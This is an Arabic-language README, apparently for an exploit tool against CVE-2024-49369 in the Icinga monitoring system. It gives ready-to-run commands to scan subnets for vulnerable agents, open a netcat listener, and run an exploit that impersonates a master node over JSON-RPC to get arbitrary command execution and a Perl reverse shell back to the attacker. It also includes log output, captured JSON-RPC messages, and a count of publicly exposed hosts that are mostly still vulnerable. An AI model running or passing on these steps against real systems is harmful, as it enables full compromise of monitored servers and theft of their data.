
أداة استغلال لـ CVE-2024-49369 في Icinga، تتيح فحص الشبكة الفرعية، والاستيلاء على الوكيل عبر انتحال JSON-RPC، وتنفيذ الأوامر التعسفية، والقشرة العكسية.
تستغل هذه الثغرة بروتوكول Icinga JSON-RPC لاستهداف العقد المراقبة التي تشغل وكلاء Icinga. من خلال انتحال صفة مثيل Master/Satellite، يمكن للمهاجمين السيطرة على الوكلاء، تنفيذ أوامر عشوائية، أو الحصول على معلومات حساسة.
لمسح شبكة فرعية بحثًا عن وكلاء ضعفاء، قم بتشغيل الأمر التالي:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
يقوم هذا بمسح الشبكة الفرعية المحددة في دفعات من 25 عنوان IP. ترسل الأداة رسالة Icinga::HELLO عبر بروتوكول JSON-RPC وتحدد الوكلاء المستجيبين مع إصداراتهم.
إذا تم تمكين التكوين وتنفيذ الأوامر على نقطة نهاية (الإعداد الافتراضي للعقد المراقبة مع وكلاء Icinga)، يمكن للمهاجم:
يمكن أن يؤدي هذا إلى اختراق كامل للنظام (اعتمادًا على مستخدم الخدمة) أو وصول محدود.
عندما تكون العقدة الأصلية متصلة، ستبدو اتصالات الاستغلال هكذا في السجل:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
يمكننا أن نرى أن هذه العقدة معرضة للهجوم حيث يتم تشغيل التحذير الخاص بالمجموعات، مما يعني أن القمر الصناعي الحالي لا يزال متصلاً، لكن هذا الوكيل يرانا كوالد صالح.
ابدأ مستمع Netcat للـ reverse shell:
nc -lvnp 9001
قم بتشغيل الاستغلال:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: عنوان IP للوكيل المستهدف.--node-cn: الاسم الشائع لـ Master/Satellite الذي سيتم انتحاله.--zone: اسم المنطقة المستهدفة. الافتراضي هو master.--revip: عنوان IP للمهاجم للـ reverse shell.--revport: منفذ المهاجم للـ reverse shell.يبدأ هذا الأمر محاولات اتصال متكررة. بمجرد أن يفصل الوكيل المستهدف عن والده الحالي، تستحوذ الأداة على الاتصال، وترسل وتتلقى الفحوصات.
يتم استخدام reverse shell يعتمد على Perl كجزء من فحص جديد تنشئه الأداة.
حتى إذا تم تعطيل التكوين وتنفيذ الأوامر على الهدف، قد يظل المهاجمون قادرين على جمع بيانات حساسة من خلال مراقبة نتائج الفحوصات المرسلة إلى الوكيل.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
قد تكشف هذه الاستجابات عن تكوينات حساسة، بيانات جدولة، أو حتى نتائج الخدمات المراقبة.
على Censys يوجد حاليًا 24,003 مضيفًا بمنفذ Icinga عام. تشير الفحوصات العشوائية إلى أن معظم المضيفات لا تزال تعمل بإصدار ضعيف من Icinga.
يبني هذا البحث على العمل الذي تم مناقشته في مدونة Icinga.